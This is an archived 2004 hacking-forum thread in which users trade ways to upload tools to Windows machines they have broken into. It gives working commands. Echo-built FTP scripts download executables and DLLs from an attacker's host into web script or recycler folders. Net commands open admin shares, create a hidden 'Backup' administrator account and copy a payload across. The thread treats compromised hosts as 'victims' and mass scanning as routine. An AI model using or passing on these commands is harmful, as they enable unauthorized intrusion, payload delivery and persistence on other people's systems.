hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

xdccpt
how to upload files to a media hack?

(i got a shell anyway)

i tested with tftp but doesnt work

can somebody give me some direcctions to do it with ECHO?



Thanks
Ripper
i guess you got the privilege problem... try to TFTP your files to c:\inetpub\scripts smile.gif
Alex Trust
yep it s privilege problem just don't do anything in the winnt folder cuz you can't do anything there :S sad.gif
cougar
the link doesn't work anymore, anyone have the echo commands?

flashb4ck
CODE
the link doesn't work anymore, anyone have the echo commands?




sorry but i think that u are only somebody who wants to get teached here and when u don't know how to write a echo script then i am sorry
cougar
i can sql hack thrue echo commands, but is it the same?

for example:

echo sql > c:\tm.txt
echo sql >> c:\tm.txt
echo Binary >> c:\tm.txt
echo lcd c:\ >> c:\tm.txt
echo get rm.txt >> c:\tm.txt
echo bye >> c:\tm.txt

ftp -s:c:\tm.txt *** ip
ftp -s:c:\rm.txt *** ip

can i do the same in telnet instead of sqlexec?
mayh3m
imo media sux.. from like 1000 scanned pc's you'll only get 1 shell.
MuRpH
<<Edited by GSecur, Try posting without including the IP's of Targets mad.gif >>
matze
I think you mean the script to get your stuff on the server!?!


QUOTE
echo open [ip] [port]>> xxx.txt

echo user >> c:\inetpub\scripts\xxx.txt

echo pw >> c:\inetpub\scripts\xxx.txt

echo get xxx.exe >> c:\inetpub\scripts\xxx.txt

echo get xxx.txt >> c:\inetpub\scripts\xxx.txt

echo get xxx.dll >> c:\inetpub\scripts\xxx.txt
 
.............. and so on ........>> c:\inetpub\scripts\xxx.txt)

echo quit >> c:\inetpub\scripts\xxx.txt

to run the script....
ftp -s:c:\inetpub\scripts\xxx.txt

sylver
the best way u upload in c:\recycler
there u can start ur serv*
its the same script everywhere
i have one script for all :-)
SaintDogbert
QUOTE (mayh3m @ Jan 30 2004, 05:14 AM)
imo media sux.. from like 1000 scanned pc's you'll only get 1 shell.

ohmy.gif but that one shell is worth it!
som3aa
hey m8
Uploading files to a victi%m is very easy using echo commands
but it's useless , u r just a guest , u don't have admin access.
so u woun't do anything with files u uploaded :-(
Cyrus
QUOTE (cougar @ Jan 29 2004, 05:15 PM)
i can sql hack thrue echo commands, but is it the same?

for example:

echo sql > c:\tm.txt
echo sql >> c:\tm.txt
echo Binary >> c:\tm.txt
echo lcd c:\ >> c:\tm.txt
echo get rm.txt >> c:\tm.txt
echo bye >> c:\tm.txt

ftp -s:c:\tm.txt *** ip
ftp -s:c:\rm.txt *** ip

can i do the same in telnet instead of sqlexec?

God....
That are simple dos commands, why shouldnt they work in a telnet shell instead of a "sql shell" ?
guufa
You can open IPC$ share, and next make a simple copy.
net share IPC$ /y
net share C$=c:\ /y
net share admin$ /y
net user Backup /add
net localgroup Administrators Backup /add

And now make a net use \\*.*.*.*\IPC$ /user:Backup
and next: copy exec.exe \\*.*.*.*\C$\RECYCLER\
fre4k
it works with tftp or the echo commands.... No problem with them!

BuzzDee
and if these methods dont work try to upload with vb-script or better: rcp wink.gif

mfld
ph34r.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.